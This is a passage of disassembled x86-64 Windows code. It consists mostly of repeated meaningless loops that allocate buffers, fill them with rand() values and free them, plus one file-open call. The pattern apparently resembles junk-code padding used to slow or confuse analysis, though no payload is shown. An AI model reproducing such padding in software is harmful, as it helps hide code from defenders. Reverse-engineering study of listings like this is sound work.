add eax, 1
mov dword [rsp + 0xcc304], eax
jmp 0x14000e91d
mov rax, qword [rsp + 0xcc308]
mov qword [rsp + 0x35f8], rax
cmp rax, 0
je 0x14000e9be
mov rcx, qword [rsp + 0x35f8]
call sym.operator_delete_void_
jmp 0x14000e9c3
mov eax, dword [rsp + 0xcc314]
add eax, 1
mov dword [rsp + 0xcc314], eax
jmp 0x14000e8ef
movss xmm0, dword [0x1400ec8f4]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [0x1400ec8f0]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [rsp + 0xcc318]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec8f8]
ucomisd xmm0, xmm1
jne 0x14000eb37
jp 0x14000eb37
mov dword [rsp + 0xcc300], 0
cmp dword [rsp + 0xcc300], 0x1345
jge 0x14000eb15
mov ecx, 0x11f38
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc2f8], rax
mov dword [rsp + 0xcc2f4], 0
cmp dword [rsp + 0xcc2f4], 0x17c
jge 0x14000ead3
call sub.msvcrt.dll_rand
mov ecx, 0x2477
cdq
idiv ecx
mov rax, qword [rsp + 0xcc2f8]
movsxd rcx, dword [rsp + 0xcc2f4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee350]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc318]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc318], xmm0
mov eax, dword [rsp + 0xcc2f4]
add eax, 1
mov dword [rsp + 0xcc2f4], eax
jmp 0x14000ea59
mov rax, qword [rsp + 0xcc2f8]
mov qword [rsp + 0x35f0], rax
cmp rax, 0
je 0x14000eafa
mov rcx, qword [rsp + 0x35f0]
call sym.operator_delete_void_
jmp 0x14000eaff
mov eax, dword [rsp + 0xcc300]
add eax, 1
mov dword [rsp + 0xcc300], eax
jmp 0x14000ea2b
movss xmm0, dword [0x1400ec904]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [0x1400ec900]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [rsp + 0xcc318]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec908]
ucomisd xmm0, xmm1
jne 0x14000ec73
jp 0x14000ec73
mov dword [rsp + 0xcc2f0], 0
cmp dword [rsp + 0xcc2f0], 0xf65
jge 0x14000ec51
mov ecx, 0x26b50
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc2e8], rax
mov dword [rsp + 0xcc2e4], 0
cmp dword [rsp + 0xcc2e4], 0x1d4
jge 0x14000ec0f
call sub.msvcrt.dll_rand
mov ecx, 0x31d7
cdq
idiv ecx
mov rax, qword [rsp + 0xcc2e8]
movsxd rcx, dword [rsp + 0xcc2e4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee348]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc318]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc318], xmm0
mov eax, dword [rsp + 0xcc2e4]
add eax, 1
mov dword [rsp + 0xcc2e4], eax
jmp 0x14000eb95
mov rax, qword [rsp + 0xcc2e8]
mov qword [rsp + 0x35e8], rax
cmp rax, 0
je 0x14000ec36
mov rcx, qword [rsp + 0x35e8]
call sym.operator_delete_void_
jmp 0x14000ec3b
mov eax, dword [rsp + 0xcc2f0]
add eax, 1
mov dword [rsp + 0xcc2f0], eax
jmp 0x14000eb67
movss xmm0, dword [0x1400ec914]
movss dword [rsp + 0xcc318], xmm0
movss xmm0, dword [0x1400ec910]
movss dword [rsp + 0xcc318], xmm0
mov word [rsp + 0xcc7d6], 0
movss xmm0, dword [0x1400ec924]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [0x1400ec920]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [rsp + 0xcc2e0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec918]
ucomisd xmm0, xmm1
jne 0x14000eddb
jp 0x14000eddb
mov dword [rsp + 0xcc2dc], 0
cmp dword [rsp + 0xcc2dc], 0x15dc
jge 0x14000edb9
mov ecx, 0x211f4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc2d0], rax
mov dword [rsp + 0xcc2cc], 0
cmp dword [rsp + 0xcc2cc], 0x126
jge 0x14000ed77
call sub.msvcrt.dll_rand
mov ecx, 0x2c82
cdq
idiv ecx
mov rax, qword [rsp + 0xcc2d0]
movsxd rcx, dword [rsp + 0xcc2cc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee340]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc2e0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc2e0], xmm0
mov eax, dword [rsp + 0xcc2cc]
add eax, 1
mov dword [rsp + 0xcc2cc], eax
jmp 0x14000ecfd
mov rax, qword [rsp + 0xcc2d0]
mov qword [rsp + 0x35e0], rax
cmp rax, 0
je 0x14000ed9e
mov rcx, qword [rsp + 0x35e0]
call sym.operator_delete_void_
jmp 0x14000eda3
mov eax, dword [rsp + 0xcc2dc]
add eax, 1
mov dword [rsp + 0xcc2dc], eax
jmp 0x14000eccf
movss xmm0, dword [0x1400ec92c]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [0x1400ec928]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [rsp + 0xcc2e0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec930]
ucomisd xmm0, xmm1
jne 0x14000ef17
jp 0x14000ef17
mov dword [rsp + 0xcc2c8], 0
cmp dword [rsp + 0xcc2c8], 0x933
jge 0x14000eef5
mov ecx, 0x11ff4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc2c0], rax
mov dword [rsp + 0xcc2bc], 0
cmp dword [rsp + 0xcc2bc], 0x341
jge 0x14000eeb3
call sub.msvcrt.dll_rand
mov ecx, 0x1cf3
cdq
idiv ecx
mov rax, qword [rsp + 0xcc2c0]
movsxd rcx, dword [rsp + 0xcc2bc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee338]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc2e0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc2e0], xmm0
mov eax, dword [rsp + 0xcc2bc]
add eax, 1
mov dword [rsp + 0xcc2bc], eax
jmp 0x14000ee39
mov rax, qword [rsp + 0xcc2c0]
mov qword [rsp + 0x35d8], rax
cmp rax, 0
je 0x14000eeda
mov rcx, qword [rsp + 0x35d8]
call sym.operator_delete_void_
jmp 0x14000eedf
mov eax, dword [rsp + 0xcc2c8]
add eax, 1
mov dword [rsp + 0xcc2c8], eax
jmp 0x14000ee0b
movss xmm0, dword [0x1400ec93c]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [0x1400ec938]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [rsp + 0xcc2e0]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec940]
ucomisd xmm0, xmm1
jne 0x14000f050
jp 0x14000f050
mov dword [rsp + 0xcc2b8], 0
cmp dword [rsp + 0xcc2b8], 0x15e4
jge 0x14000f02e
mov ecx, 0x1afdc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc2b0], rax
mov dword [rsp + 0xcc2ac], 0
cmp dword [rsp + 0xcc2ac], 0x73
jge 0x14000efec
call sub.msvcrt.dll_rand
mov ecx, 0x2786
cdq
idiv ecx
mov rax, qword [rsp + 0xcc2b0]
movsxd rcx, dword [rsp + 0xcc2ac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee330]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc2e0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc2e0], xmm0
mov eax, dword [rsp + 0xcc2ac]
add eax, 1
mov dword [rsp + 0xcc2ac], eax
jmp 0x14000ef75
mov rax, qword [rsp + 0xcc2b0]
mov qword [rsp + 0x35d0], rax
cmp rax, 0
je 0x14000f013
mov rcx, qword [rsp + 0x35d0]
call sym.operator_delete_void_
jmp 0x14000f018
mov eax, dword [rsp + 0xcc2b8]
add eax, 1
mov dword [rsp + 0xcc2b8], eax
jmp 0x14000ef47
movss xmm0, dword [0x1400ec94c]
movss dword [rsp + 0xcc2e0], xmm0
movss xmm0, dword [0x1400ec948]
movss dword [rsp + 0xcc2e0], xmm0
mov qword [rsp + 0xcc2a0], 0
movss xmm0, dword [0x1400ec95c]
movss dword [rsp + 0xcc29c], xmm0
movss xmm0, dword [0x1400ec958]
movss dword [rsp + 0xcc29c], xmm0
movss xmm0, dword [rsp + 0xcc29c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec950]
ucomisd xmm0, xmm1
jne 0x14000f1ba
jp 0x14000f1ba
mov dword [rsp + 0xcc298], 0
cmp dword [rsp + 0xcc298], 0x83b
jge 0x14000f198
mov ecx, 0x12e54
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc290], rax
mov dword [rsp + 0xcc28c], 0
cmp dword [rsp + 0xcc28c], 0x13b
jge 0x14000f156
call sub.msvcrt.dll_rand
mov ecx, 0x1505
cdq
idiv ecx
mov rax, qword [rsp + 0xcc290]
movsxd rcx, dword [rsp + 0xcc28c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee328]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc29c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc29c], xmm0
mov eax, dword [rsp + 0xcc28c]
add eax, 1
mov dword [rsp + 0xcc28c], eax
jmp 0x14000f0dc
mov rax, qword [rsp + 0xcc290]
mov qword [rsp + 0x35c8], rax
cmp rax, 0
je 0x14000f17d
mov rcx, qword [rsp + 0x35c8]
call sym.operator_delete_void_
jmp 0x14000f182
mov eax, dword [rsp + 0xcc298]
add eax, 1
mov dword [rsp + 0xcc298], eax
jmp 0x14000f0ae
movss xmm0, dword [0x1400ec964]
movss dword [rsp + 0xcc29c], xmm0
movss xmm0, dword [0x1400ec960]
movss dword [rsp + 0xcc29c], xmm0
mov dword [rsp + 0xcc288], 0x39e2
mov dword [rsp + 0xcc284], 0
cmp dword [rsp + 0xcc284], 0x5c5
jge 0x14000f2a2
mov ecx, 0x19960
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc278], rax
mov dword [rsp + 0xcc274], 0
cmp dword [rsp + 0xcc274], 0x1ce
jge 0x14000f260
call sub.msvcrt.dll_rand
mov ecx, 0x2737
cdq
idiv ecx
mov rax, qword [rsp + 0xcc278]
movsxd rcx, dword [rsp + 0xcc274]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1cee
cdq
idiv ecx
add edx, dword [rsp + 0xcc288]
mov dword [rsp + 0xcc288], edx
mov eax, dword [rsp + 0xcc274]
add eax, 1
mov dword [rsp + 0xcc274], eax
jmp 0x14000f1fe
mov rax, qword [rsp + 0xcc278]
mov qword [rsp + 0x35c0], rax
cmp rax, 0
je 0x14000f287
mov rcx, qword [rsp + 0x35c0]
call sym.operator_delete_void_
jmp 0x14000f28c
mov eax, dword [rsp + 0xcc284]
add eax, 1
mov dword [rsp + 0xcc284], eax
jmp 0x14000f1d0
mov dword [rsp + 0xcc270], 0x6c96
mov dword [rsp + 0xcc26c], 0
cmp dword [rsp + 0xcc26c], 0x5bf
jge 0x14000f38a
mov ecx, 0x168b0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc260], rax
mov dword [rsp + 0xcc25c], 0
cmp dword [rsp + 0xcc25c], 0x14c
jge 0x14000f348
call sub.msvcrt.dll_rand
mov ecx, 0x2c91
cdq
idiv ecx
mov rax, qword [rsp + 0xcc260]
movsxd rcx, dword [rsp + 0xcc25c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x32bd
cdq
idiv ecx
add edx, dword [rsp + 0xcc270]
mov dword [rsp + 0xcc270], edx
mov eax, dword [rsp + 0xcc25c]
add eax, 1
mov dword [rsp + 0xcc25c], eax
jmp 0x14000f2e6
mov rax, qword [rsp + 0xcc260]
mov qword [rsp + 0x35b8], rax
cmp rax, 0
je 0x14000f36f
mov rcx, qword [rsp + 0x35b8]
call sym.operator_delete_void_
jmp 0x14000f374
mov eax, dword [rsp + 0xcc26c]
add eax, 1
mov dword [rsp + 0xcc26c], eax
jmp 0x14000f2b8
mov dword [rsp + 0xcc258], 0x4fdb
mov dword [rsp + 0xcc254], 0
cmp dword [rsp + 0xcc254], 0x3ff
jge 0x14000f472
mov ecx, 0x16060
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc248], rax
mov dword [rsp + 0xcc244], 0
cmp dword [rsp + 0xcc244], 0xbf
jge 0x14000f430
call sub.msvcrt.dll_rand
mov ecx, 0x3390
cdq
idiv ecx
mov rax, qword [rsp + 0xcc248]
movsxd rcx, dword [rsp + 0xcc244]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x36d7
cdq
idiv ecx
add edx, dword [rsp + 0xcc258]
mov dword [rsp + 0xcc258], edx
mov eax, dword [rsp + 0xcc244]
add eax, 1
mov dword [rsp + 0xcc244], eax
jmp 0x14000f3ce
mov rax, qword [rsp + 0xcc248]
mov qword [rsp + 0x35b0], rax
cmp rax, 0
je 0x14000f457
mov rcx, qword [rsp + 0x35b0]
call sym.operator_delete_void_
jmp 0x14000f45c
mov eax, dword [rsp + 0xcc254]
add eax, 1
mov dword [rsp + 0xcc254], eax
jmp 0x14000f3a0
mov dword [rsp + 0xcc240], 0x6fab
mov dword [rsp + 0xcc23c], 0
cmp dword [rsp + 0xcc23c], 0x402
jge 0x14000f55a
mov ecx, 0x20dac
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc230], rax
mov dword [rsp + 0xcc22c], 0
cmp dword [rsp + 0xcc22c], 0xee
jge 0x14000f518
call sub.msvcrt.dll_rand
mov ecx, 0x1eed
cdq
idiv ecx
mov rax, qword [rsp + 0xcc230]
movsxd rcx, dword [rsp + 0xcc22c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x265d
cdq
idiv ecx
add edx, dword [rsp + 0xcc240]
mov dword [rsp + 0xcc240], edx
mov eax, dword [rsp + 0xcc22c]
add eax, 1
mov dword [rsp + 0xcc22c], eax
jmp 0x14000f4b6
mov rax, qword [rsp + 0xcc230]
mov qword [rsp + 0x35a8], rax
cmp rax, 0
je 0x14000f53f
mov rcx, qword [rsp + 0x35a8]
call sym.operator_delete_void_
jmp 0x14000f544
mov eax, dword [rsp + 0xcc23c]
add eax, 1
mov dword [rsp + 0xcc23c], eax
jmp 0x14000f488
mov dword [rsp + 0xcc228], 0x174a
mov dword [rsp + 0xcc224], 0
cmp dword [rsp + 0xcc224], 0x642
jge 0x14000f642
mov ecx, 0x1d974
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc218], rax
mov dword [rsp + 0xcc214], 0
cmp dword [rsp + 0xcc214], 0x156
jge 0x14000f600
call sub.msvcrt.dll_rand
mov ecx, 0x1dd6
cdq
idiv ecx
mov rax, qword [rsp + 0xcc218]
movsxd rcx, dword [rsp + 0xcc214]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1f62
cdq
idiv ecx
add edx, dword [rsp + 0xcc228]
mov dword [rsp + 0xcc228], edx
mov eax, dword [rsp + 0xcc214]
add eax, 1
mov dword [rsp + 0xcc214], eax
jmp 0x14000f59e
mov rax, qword [rsp + 0xcc218]
mov qword [rsp + 0x35a0], rax
cmp rax, 0
je 0x14000f627
mov rcx, qword [rsp + 0x35a0]
call sym.operator_delete_void_
jmp 0x14000f62c
mov eax, dword [rsp + 0xcc224]
add eax, 1
mov dword [rsp + 0xcc224], eax
jmp 0x14000f570
mov dword [rsp + 0xcc210], 0x239e
mov dword [rsp + 0xcc20c], 0
cmp dword [rsp + 0xcc20c], 0x5b2
jge 0x14000f72a
mov ecx, 0x12ca8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc200], rax
mov dword [rsp + 0xcc1fc], 0
cmp dword [rsp + 0xcc1fc], 0xfa
jge 0x14000f6e8
call sub.msvcrt.dll_rand
mov ecx, 0x24a8
cdq
idiv ecx
mov rax, qword [rsp + 0xcc200]
movsxd rcx, dword [rsp + 0xcc1fc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3178
cdq
idiv ecx
add edx, dword [rsp + 0xcc210]
mov dword [rsp + 0xcc210], edx
mov eax, dword [rsp + 0xcc1fc]
add eax, 1
mov dword [rsp + 0xcc1fc], eax
jmp 0x14000f686
mov rax, qword [rsp + 0xcc200]
mov qword [rsp + 0x3598], rax
cmp rax, 0
je 0x14000f70f
mov rcx, qword [rsp + 0x3598]
call sym.operator_delete_void_
jmp 0x14000f714
mov eax, dword [rsp + 0xcc20c]
add eax, 1
mov dword [rsp + 0xcc20c], eax
jmp 0x14000f658
mov dword [rsp + 0xcc1f8], 0x1a5e
mov dword [rsp + 0xcc1f4], 0
cmp dword [rsp + 0xcc1f4], 0x656
jge 0x14000f812
mov ecx, 0x19830
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc1e8], rax
mov dword [rsp + 0xcc1e4], 0
cmp dword [rsp + 0xcc1e4], 0x1b3
jge 0x14000f7d0
call sub.msvcrt.dll_rand
mov ecx, 0x224b
cdq
idiv ecx
mov rax, qword [rsp + 0xcc1e8]
movsxd rcx, dword [rsp + 0xcc1e4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2f05
cdq
idiv ecx
add edx, dword [rsp + 0xcc1f8]
mov dword [rsp + 0xcc1f8], edx
mov eax, dword [rsp + 0xcc1e4]
add eax, 1
mov dword [rsp + 0xcc1e4], eax
jmp 0x14000f76e
mov rax, qword [rsp + 0xcc1e8]
mov qword [rsp + 0x3590], rax
cmp rax, 0
je 0x14000f7f7
mov rcx, qword [rsp + 0x3590]
call sym.operator_delete_void_
jmp 0x14000f7fc
mov eax, dword [rsp + 0xcc1f4]
add eax, 1
mov dword [rsp + 0xcc1f4], eax
jmp 0x14000f740
mov dword [rsp + 0xcc1e0], 0x60a1
mov dword [rsp + 0xcc1dc], 0
cmp dword [rsp + 0xcc1dc], 0x5ab
jge 0x14000f8fa
mov ecx, 0xb3e4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc1d0], rax
mov dword [rsp + 0xcc1cc], 0
cmp dword [rsp + 0xcc1cc], 0x9f
jge 0x14000f8b8
call sub.msvcrt.dll_rand
mov ecx, 0x2fb2
cdq
idiv ecx
mov rax, qword [rsp + 0xcc1d0]
movsxd rcx, dword [rsp + 0xcc1cc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x14bc
cdq
idiv ecx
add edx, dword [rsp + 0xcc1e0]
mov dword [rsp + 0xcc1e0], edx
mov eax, dword [rsp + 0xcc1cc]
add eax, 1
mov dword [rsp + 0xcc1cc], eax
jmp 0x14000f856
mov rax, qword [rsp + 0xcc1d0]
mov qword [rsp + 0x3588], rax
cmp rax, 0
je 0x14000f8df
mov rcx, qword [rsp + 0x3588]
call sym.operator_delete_void_
jmp 0x14000f8e4
mov eax, dword [rsp + 0xcc1dc]
add eax, 1
mov dword [rsp + 0xcc1dc], eax
jmp 0x14000f828
mov dword [rsp + 0xcc1c8], 0x38f4
mov dword [rsp + 0xcc1c4], 0
cmp dword [rsp + 0xcc1c4], 0x4c3
jge 0x14000f9e2
mov ecx, 0xe360
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc1b8], rax
mov dword [rsp + 0xcc1b4], 0
cmp dword [rsp + 0xcc1b4], 0xb2
jge 0x14000f9a0
call sub.msvcrt.dll_rand
mov ecx, 0x2483
cdq
idiv ecx
mov rax, qword [rsp + 0xcc1b8]
movsxd rcx, dword [rsp + 0xcc1b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2b9f
cdq
idiv ecx
add edx, dword [rsp + 0xcc1c8]
mov dword [rsp + 0xcc1c8], edx
mov eax, dword [rsp + 0xcc1b4]
add eax, 1
mov dword [rsp + 0xcc1b4], eax
jmp 0x14000f93e
mov rax, qword [rsp + 0xcc1b8]
mov qword [rsp + 0x3580], rax
cmp rax, 0
je 0x14000f9c7
mov rcx, qword [rsp + 0x3580]
call sym.operator_delete_void_
jmp 0x14000f9cc
mov eax, dword [rsp + 0xcc1c4]
add eax, 1
mov dword [rsp + 0xcc1c4], eax
jmp 0x14000f910
lea rdx, [rsp + 0xcc5d0]
lea rcx, [rsp + 0xcc2a0]
lea r8, [0x1400ee9a2]
call qword [sym.imp.msvcrt.dll__wfopen_s]
mov dword [rsp + 0xcc1b0], eax
mov dword [rsp + 0xcc1ac], 0x6221
mov dword [rsp + 0xcc1a8], 0
cmp dword [rsp + 0xcc1a8], 0x6aa
jge 0x14000faee
mov ecx, 0x9e70
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc1a0], rax
mov dword [rsp + 0xcc19c], 0
cmp dword [rsp + 0xcc19c], 0x8e
jge 0x14000faac
call sub.msvcrt.dll_rand
mov ecx, 0x2136
cdq
idiv ecx
mov rax, qword [rsp + 0xcc1a0]
movsxd rcx, dword [rsp + 0xcc19c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x353c
cdq
idiv ecx
add edx, dword [rsp + 0xcc1ac]
mov dword [rsp + 0xcc1ac], edx
mov eax, dword [rsp + 0xcc19c]
add eax, 1
mov dword [rsp + 0xcc19c], eax
jmp 0x14000fa4a
mov rax, qword [rsp + 0xcc1a0]
mov qword [rsp + 0x3578], rax
cmp rax, 0
je 0x14000fad3
mov rcx, qword [rsp + 0x3578]
call sym.operator_delete_void_
jmp 0x14000fad8
mov eax, dword [rsp + 0xcc1a8]
add eax, 1
mov dword [rsp + 0xcc1a8], eax
jmp 0x14000fa1c
mov dword [rsp + 0xcc198], 0x11d2
mov dword [rsp + 0xcc194], 0
cmp dword [rsp + 0xcc194], 0x79b
jge 0x14000fbd6
mov ecx, 0x12418
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc188], rax
mov dword [rsp + 0xcc184], 0
cmp dword [rsp + 0xcc184], 0x1b7
jge 0x14000fb94
call sub.msvcrt.dll_rand
mov ecx, 0x1740
cdq
idiv ecx
mov rax, qword [rsp + 0xcc188]
movsxd rcx, dword [rsp + 0xcc184]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x15fe
cdq
idiv ecx
add edx, dword [rsp + 0xcc198]
mov dword [rsp + 0xcc198], edx
mov eax, dword [rsp + 0xcc184]
add eax, 1
mov dword [rsp + 0xcc184], eax
jmp 0x14000fb32
mov rax, qword [rsp + 0xcc188]
mov qword [rsp + 0x3570], rax
cmp rax, 0
je 0x14000fbbb
mov rcx, qword [rsp + 0x3570]
call sym.operator_delete_void_
jmp 0x14000fbc0
mov eax, dword [rsp + 0xcc194]
add eax, 1
mov dword [rsp + 0xcc194], eax
jmp 0x14000fb04
mov dword [rsp + 0xcc180], 0x36f1
mov dword [rsp + 0xcc17c], 0
cmp dword [rsp + 0xcc17c], 0x511
jge 0x14000fcbe
mov ecx, 0x10b5c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc170], rax
mov dword [rsp + 0xcc16c], 0
cmp dword [rsp + 0xcc16c], 0x13c
jge 0x14000fc7c
call sub.msvcrt.dll_rand
mov ecx, 0x1618
cdq
idiv ecx
mov rax, qword [rsp + 0xcc170]
movsxd rcx, dword [rsp + 0xcc16c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x17a8
cdq
idiv ecx
add edx, dword [rsp + 0xcc180]
mov dword [rsp + 0xcc180], edx
mov eax, dword [rsp + 0xcc16c]
add eax, 1
mov dword [rsp + 0xcc16c], eax
jmp 0x14000fc1a
mov rax, qword [rsp + 0xcc170]
mov qword [rsp + 0x3568], rax
cmp rax, 0
je 0x14000fca3
mov rcx, qword [rsp + 0x3568]
call sym.operator_delete_void_
jmp 0x14000fca8
mov eax, dword [rsp + 0xcc17c]
add eax, 1
mov dword [rsp + 0xcc17c], eax
jmp 0x14000fbec
mov dword [rsp + 0xcc168], 0x1cd7
mov dword [rsp + 0xcc164], 0
cmp dword [rsp + 0xcc164], 0x515
jge 0x14000fda6
mov ecx, 0x16d20
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc158], rax
mov dword [rsp + 0xcc154], 0
cmp dword [rsp + 0xcc154], 0x9c
jge 0x14000fd64
call sub.msvcrt.dll_rand
mov ecx, 0x2b80
cdq
idiv ecx
mov rax, qword [rsp + 0xcc158]
movsxd rcx, dword [rsp + 0xcc154]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1c0f
cdq
idiv ecx
add edx, dword [rsp + 0xcc168]
mov dword [rsp + 0xcc168], edx
mov eax, dword [rsp + 0xcc154]
add eax, 1
mov dword [rsp + 0xcc154], eax
jmp 0x14000fd02
mov rax, qword [rsp + 0xcc158]
mov qword [rsp + 0x3560], rax
cmp rax, 0
je 0x14000fd8b
mov rcx, qword [rsp + 0x3560]
call sym.operator_delete_void_
jmp 0x14000fd90
mov eax, dword [rsp + 0xcc164]
add eax, 1
mov dword [rsp + 0xcc164], eax
jmp 0x14000fcd4
mov dword [rsp + 0xcc150], 0x5919
mov dword [rsp + 0xcc14c], 0
cmp dword [rsp + 0xcc14c], 0x4dc
jge 0x14000fe8e
mov ecx, 0x239e4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc140], rax
mov dword [rsp + 0xcc13c], 0
cmp dword [rsp + 0xcc13c], 0xbf
jge 0x14000fe4c
call sub.msvcrt.dll_rand
mov ecx, 0x2d7f
cdq
idiv ecx
mov rax, qword [rsp + 0xcc140]
movsxd rcx, dword [rsp + 0xcc13c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x27da
cdq
idiv ecx
add edx, dword [rsp + 0xcc150]
mov dword [rsp + 0xcc150], edx
mov eax, dword [rsp + 0xcc13c]
add eax, 1
mov dword [rsp + 0xcc13c], eax
jmp 0x14000fdea
mov rax, qword [rsp + 0xcc140]
mov qword [rsp + 0x3558], rax
cmp rax, 0
je 0x14000fe73
mov rcx, qword [rsp + 0x3558]
call sym.operator_delete_void_
jmp 0x14000fe78
mov eax, dword [rsp + 0xcc14c]
add eax, 1
mov dword [rsp + 0xcc14c], eax
jmp 0x14000fdbc
mov dword [rsp + 0xcc138], 0x4261
mov dword [rsp + 0xcc134], 0
cmp dword [rsp + 0xcc134], 0x532
jge 0x14000ff76
mov ecx, 0xcab0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc128], rax
mov dword [rsp + 0xcc124], 0
cmp dword [rsp + 0xcc124], 0x182
jge 0x14000ff34
call sub.msvcrt.dll_rand
mov ecx, 0x2556
cdq
idiv ecx
mov rax, qword [rsp + 0xcc128]
movsxd rcx, dword [rsp + 0xcc124]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3551
cdq
idiv ecx
add edx, dword [rsp + 0xcc138]
mov dword [rsp + 0xcc138], edx
mov eax, dword [rsp + 0xcc124]
add eax, 1
mov dword [rsp + 0xcc124], eax
jmp 0x14000fed2
mov rax, qword [rsp + 0xcc128]
mov qword [rsp + 0x3550], rax
cmp rax, 0
je 0x14000ff5b
mov rcx, qword [rsp + 0x3550]
call sym.operator_delete_void_
jmp 0x14000ff60
mov eax, dword [rsp + 0xcc134]
add eax, 1
mov dword [rsp + 0xcc134], eax
jmp 0x14000fea4
mov dword [rsp + 0xcc120], 0x3cad
mov dword [rsp + 0xcc11c], 0
cmp dword [rsp + 0xcc11c], 0x578
jge 0x14001005e
mov ecx, 0x25700
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc110], rax
mov dword [rsp + 0xcc10c], 0
cmp dword [rsp + 0xcc10c], 0x18e
jge 0x14001001c
call sub.msvcrt.dll_rand
mov ecx, 0x230d
cdq
idiv ecx
mov rax, qword [rsp + 0xcc110]
movsxd rcx, dword [rsp + 0xcc10c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x357c
cdq
idiv ecx
add edx, dword [rsp + 0xcc120]
mov dword [rsp + 0xcc120], edx
mov eax, dword [rsp + 0xcc10c]
add eax, 1
mov dword [rsp + 0xcc10c], eax
jmp 0x14000ffba
mov rax, qword [rsp + 0xcc110]
mov qword [rsp + 0x3548], rax
cmp rax, 0
je 0x140010043
mov rcx, qword [rsp + 0x3548]
call sym.operator_delete_void_
jmp 0x140010048
mov eax, dword [rsp + 0xcc11c]
add eax, 1
mov dword [rsp + 0xcc11c], eax
